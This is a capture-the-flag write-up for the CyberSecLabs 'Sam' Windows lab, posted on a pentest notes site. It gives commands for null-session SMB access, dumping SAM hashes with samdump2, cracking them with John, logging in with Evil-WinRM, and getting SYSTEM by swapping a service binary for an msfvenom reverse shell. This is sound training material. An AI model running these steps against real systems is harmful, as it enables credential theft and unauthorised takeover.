Pentest Everything
GitHubSupport Pentest Everything
  • ⚔️Pentest Everything
  • 🚩Writeups
    • CyberSecLabs
      • Active Directory
        • Dictionary
        • Spray (WIP)
      • Linux
        • Shock
        • Pie
      • Windows
        • Brute
        • Deployable
        • Glass
        • Monitor
        • Sam
        • Secret
        • Stack
        • Unattended
        • Weak
    • HackTheBox
      • Active Directory
        • Active
        • Blackfield
        • Cascade
        • Forest
        • Intelligence
        • Mantis
        • Monteverde
        • Resolute
        • Return
        • Sauna
        • Search
      • Linux
        • Antique
        • Armageddon
        • Backdoor
        • Bashed
        • Cap
        • Cronos
        • Curling
        • Knife
        • Lame
        • Help
        • Horizontall
        • OpenAdmin
        • Poison
        • SolidState
        • Traceback
        • Trick
      • Windows
        • Access
        • Artic
        • Bastard
        • Bastion
        • Bounty
        • Devel
        • Heist
        • Jeeves
        • Jerry
        • Legacy
        • Love
        • Optimum
        • Remote
        • SecNotes
        • Servmon
        • Timelapse
        • Querier
    • PG Play | Vulnhub
      • Linux
        • BBSCute
        • BTRSys2.1
        • Born2root
        • BossPlayersCTF
        • Covfefe
        • Dawn
        • DC5
        • Funbox
        • FunboxEasy
        • FunBoxEasyEnum
        • HackerFest2019
        • Geisha
        • JISCTF
        • My-CMSMS
        • NoName
        • OnSystemShellDredd
        • Photographer
        • Potato
        • PyExp
        • Samurai
        • SunsetDecoy
        • SunsetMidnight
        • SunsetTwilight
        • Wpwn
    • PG Practice
      • Linux
        • ClamAV
        • Nibbles
        • Payday
        • Pelican
        • Peppo
        • Postfish
        • Pwned1
        • Snookums
        • Sirol
        • Sorcerer
        • Quackerjack
        • WebCal
        • Walla
        • ZenPhoto
        • Zino
      • Windows
        • Algernon
        • Compromised
        • Kevin
        • Helpdesk
        • Hutch
        • Jacko
        • Meathead
        • Metallus
        • Shenzi
        • Slort
        • UT99
    • TryHackMe
      • Linux
        • All in One
        • Archangel
        • Anonforce
        • Biblioteca
        • Cat Pictures
        • Chill Hack
        • CMesS
        • ColddBox
        • ConvertMyVideo
        • CyberHeroes
        • Cyborg
        • Dav
        • Fusion Corp
        • GamingServer
        • Gallery
        • Internal
        • Jacobtheboss
        • Kiba
        • LazyAdmin
        • Library
        • Madness
        • Marketplace
        • Mustacchio
        • NerdHerd
        • Oh My WebServer
        • Olympus
        • Plotted-TMS
        • Skynet
        • Startup
        • Surfer
        • Team
        • Tech_Supp0rt: 1
        • Tomghost
        • VulnNet
        • Undiscovered
        • Year of the Owl
      • Windows
        • Blueprint
        • Enterprise
        • Flatline
        • Quotient
        • RazorBlack
        • Relevant
        • USTOUN
        • VulnNet: Roasted
    • To Do
      • AllSignsPoint2Pwnage (WIP)
      • Hunit (WIP)
      • Escape (WIP)
      • Banzai (WIP)
      • Billyboss (WIP)
      • Fish
      • Ra
      • Roquefort (WIP)
  • 💾GitHub
  • 🔵PsMapExec
    • Change Log
    • BloodHound
    • Using Credentials
    • Cross Domain Usage
    • Methods
      • Command Execution
      • DCSync
      • GenRelayList / SMB Signing
      • Inject
      • IPMI
      • Kerberoast
      • MSSQL
      • Session Hunter
      • Spray
    • Modules
      • Amnesiac
      • ConsoleHistory
      • Files
      • FileZilla
      • KerbDump
      • eKeys
      • LDAP / LDAPS
      • LogonPasswords
      • LSA
      • MDF
      • NTDS
      • Notepad
      • NTLM
      • SAM
      • SCCM
      • SessionExec
      • SessionRelay
      • SSH
      • TGTDeleg
      • VNC
      • Wi-Fi
      • WinSCP
    • Target Acquisition
  • Everything
    • Buffer Overflow Guide
    • Everything Active Directory and Windows
      • Active Directory Enumeration
      • ADCS
        • Enumeration - Certificate Authority
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC6
        • ESC7
        • ESC8
        • ESC9 - WIP
        • ESC11
      • Access Token Manipultion
        • Token Impersonation
        • Create Process with Token
        • 🔨Make and Impersonate Token
        • Parent PID Spoofing
        • 🔨SID-History Injection
      • Adversary-in-the-Middle
        • 🔨LDAP Relay
        • 🔨LLMNR
        • 🔨RDP MiTM
        • 🔨SMB Relay
      • Credential Access
        • Brute Force
          • Password Spraying
        • Credential Dumping
          • LSASS Memory
          • Security Account Manager (SAM)
          • NTDS
          • LSA Secrets
          • Cached Domain Credentials
          • DCSync
            • 🔨DCSync Attack
        • Credentials from Password Stores
          • Credentials from Web Browsers
          • Windows Credential Manager
        • Unsecured Credentials
          • Credentials In Files
          • Credentials in Registry
          • Group Policy Preferences
            • 🔨GPP Passwords
        • 🔨Modify Authentication Process
          • Domain Controller Authentication: Skeleton Key
          • Reversible Encryption
        • Steal or Forge Kerberos Tickets
          • AS-REP Roasting
          • Golden Ticket
          • Kerberoasting
          • Silver Ticket
          • S4U2Self
          • Ticket Aquisition
          • Constrained Delegation
          • Unconstrained Delegation
      • Collection
        • Clipboard Data
        • Audio Capture
      • Defense Evasion
        • Disable and Bypass Defender
        • Impair Defenses
          • Disable Windows Event Logging
          • Impair Command History Logging
          • Disable or Modify System Firewall
        • Indicator Removal
          • Clear Windows Event Logs
          • Clear Command History
          • File Deletion
          • Network Share Connection Removal
          • Timestomp
      • Input Capture
        • Keylogging
      • Lateral Movement
        • PowerShell Remoting
        • Alternate Authentication Material
          • Pass The Hash
          • Pass the Ticket
          • Pass the Password
      • File Execution Methods
      • File Transfer Techniques
      • Forced Coercion
        • URL File Attack
      • LAPS
      • Network Sniffing
      • Persistence
        • AdminSDHolder
        • BITS Jobs
        • Create Account
          • Local Account
          • Domain Account
          • Cloud Account
        • Create or Modify System Process
          • Windows Service
        • Custom SSP
        • DSRM
        • 🔨Persistence Notes
        • Skeleton Key Attack
      • Privilege Escalation
        • Privilege Escalation Checklist
        • DnsAdmin
        • Registry
          • Always Install Elevated
          • AutoRuns
        • Service Exploits
          • Insecure Service Permissions
      • SCCM / MECM
        • Recon
        • CRED-1 - PXE Abuse
        • CRED-2 - Policy Request Credentials
        • CRED-3 - WMI Local Secrets
        • CRED-4 - CIM Repository
        • CRED-5 - MSSQL Database
        • ELEVATE-2 - Client Push
        • TAKEOVER-2
      • Timeroasting
      • Tools
        • BloodHound
    • Everything Linux
      • File Transfer Techniques
      • Linux Privilege Escalation Techniques
      • Privilege Escalation Checklist
      • Shell Upgrades
    • Everything OSINT
      • Discovering Email Addresses
      • Dork Tools
      • Image OSINT
      • Metadata OSINT
      • Password OSINT
      • Phone Number OSINT
      • Search Engine Operators
      • Social Media OSINT Tools
      • OSINT CTFs
      • OSINT VM
      • Username OSINT
    • Everything Web
      • Command Injection
      • Enumeration
      • File Upload
      • Sub Domain Enumeration
      • XSS
    • Host Discovery
    • Pivoting and Portforwarding
    • Ports
      • Nmap Commands for port discovery
      • Port 21 | FTP
      • Port 25 | SMTP
      • Port 53 | DNS
      • Port 88 | Kerberos
      • Ports 111 | 32771 | rpcbind
      • Port 123 | NTP
      • Ports 137 | 138 | 139 | NetBIOS
      • Ports 139 | 445 | SMB
      • Ports 161 | 162 | SNMP
      • Port 389 | LDAP
      • Ports 1099 | Java RMI
      • Ports 2049 | NFS
      • Port 3389 | RDP
      • Ports 8080 | 8180 | Apache Tomcat
    • PowerShell
      • Constrained Language Mode
      • Download and Execution Methods
      • Resources
      • Restricted Mode
  • Resources
    • Cheat Sheets
      • Default Passwords
      • Kerberoast
      • Mimikatz
      • Powerup
    • Hashcat Word lists and Rules
    • Metasploit Modules
    • Misc Snippets
    • GTFOBins
    • LOLBAS
    • WADCOMS
    • Reverse Shell Generator
    • OSINT Tools
    • Weakpass
  • Password Filter DLL
  • Dork Cheatsheet
Powered by GitBook
On this page
  • Nmap
  • SMB
  • SAM
  • Password Cracking
  • Initial Foothold
  • Privilege Escalation

Was this helpful?

  1. Writeups
  2. CyberSecLabs
  3. Windows

Sam

https://www.cyberseclabs.co.uk/labs/info/Sam/

Last updated 2 years ago

Was this helpful?

Nmap

sudo nmap 172.31.1.18 -p- -f -A

PORT      STATE SERVICE       VERSION
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows Server 2016 Datacenter 14393 microsoft-ds
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: SAM
|   NetBIOS_Domain_Name: SAM
|   NetBIOS_Computer_Name: SAM
|   DNS_Domain_Name: SAM
|   DNS_Computer_Name: SAM                                                                                                                                                                                                                 
|   Product_Version: 10.0.14393                                                                                                                                                                                                            
|_  System_Time: 2020-12-12T15:22:30+00:00                                                                                                                                                                                                 
| ssl-cert: Subject: commonName=SAM                                                                                                                                                                                                        
| Not valid before: 2020-12-11T09:05:40                                                                                                                                                                                                    
|_Not valid after:  2021-06-12T09:05:40                                                                                                                                                                                                    
|_ssl-date: 2020-12-12T15:22:36+00:00; -1s from scanner time.                                                                                                                                                                              
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                                                                                                                                      
|_http-server-header: Microsoft-HTTPAPI/2.0                                                                                                                                                                                                
|_http-title: Not Found                                                                                                                                                                                                                    
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                                                                                                                                      
|_http-server-header: Microsoft-HTTPAPI/2.0                                                                                                                                                                                                
|_http-title: Not Found                                                                                                                                                                                                                    
49664/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49665/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49666/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49668/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49669/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49675/tcp open  msrpc         Microsoft Windows RPC                                                                                                                                                                                        
49676/tcp open  msrpc         Microsoft Windows RPC
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_nbstat: NetBIOS name: SAM, NetBIOS user: <unknown>, NetBIOS MAC: 02:db:2b:36:2f:a4 (unknown)
| smb-os-discovery: 
|   OS: Windows Server 2016 Datacenter 14393 (Windows Server 2016 Datacenter 6.3)
|   Computer name: SAM
|   NetBIOS computer name: SAM\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-12-12T15:22:31+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-12-12T15:22:31
|_  start_date: 2020-12-12T09:05:41

TRACEROUTE (using port 995/tcp)
HOP RTT      ADDRESS
1   30.56 ms 10.10.0.1
2   31.60 ms 172.31.1.18

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 132.68 seconds

SMB

As we have SMB open we can do some quick checks for null authentication.

We are able to enumerate the backups share on the host and then connect to it with the following command to gain a SMB shell with null authentication.

smbclient -U "" \\\\172.31.1.18\\backups

SAM

As it looks like a backup of the system we should see if the SAM and SYSTEM files have been backed up. Normally these files are locked when the system is running but if backed up hopefully we will be able to download them.

First we need to go the directory Windows\System32\Config and then use the get command to download the files.

Kali Linux comes pre-installed with a tool called samdump2. We can combine the SYSTEM and SAM file with this tool to extract local user accounts and hashes.

samdump2 SYSTEM SAM -o /home/kali/SAMhashes.txt

Once completed we can cat the file to confirm if we have extracted account hashes.

Password Cracking

From here we can remove the '*disabled*' lines so they do not effect the outcome of cracking tools such as John.

We can then use the following command with John to attempt to crack the hashes.

sudo john --format=NT --wordlist=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt /home/kali/Desktop/SAMhashes

We have the following credentials cracked: jamie:rangers.

Initial Foothold

As port 5985 is open we can attempt to connect with Evil-WinRM.

evil-winrm -u jamie -p rangers -i 172.31.1.18 -s /home/kali/scripts/windows/

Privilege Escalation

I checked systeminfo in which we have no access to perform.

I then run powerup.ps1 and JAWS.ps1 and was not able to identify any interesting points of escalation. However, after running the services command we see something worth looking into.

The services monitor1 and monitor2 are not default services and should be looked into. I queried monitor1 with sc.exe and received the following:

As the service is run by LocalSystem this will be an ideal candidate for privilege escalation if we can replace the binary with one of our own.

Lets move to the directory and see if we can delete the binary and if we can we should be able to replace it with a malicious binary.

I was able to delete the binary. I will now create a reverse shell with msfvenom, name it monitor1.exe and attempt to start the service.

After this has completed we can then upload it with Evil-WinRM.

Create a netcat listener on the attacking machine to the port defined in the msfvenom payload.

Then start the service with sc.exe on the victim machine.

sc.exe start monitor1

We can now grab the system flags.

As the Administrator account was disabled on the system we can now enable the account. Change the password and login with the Administrator account.

🚩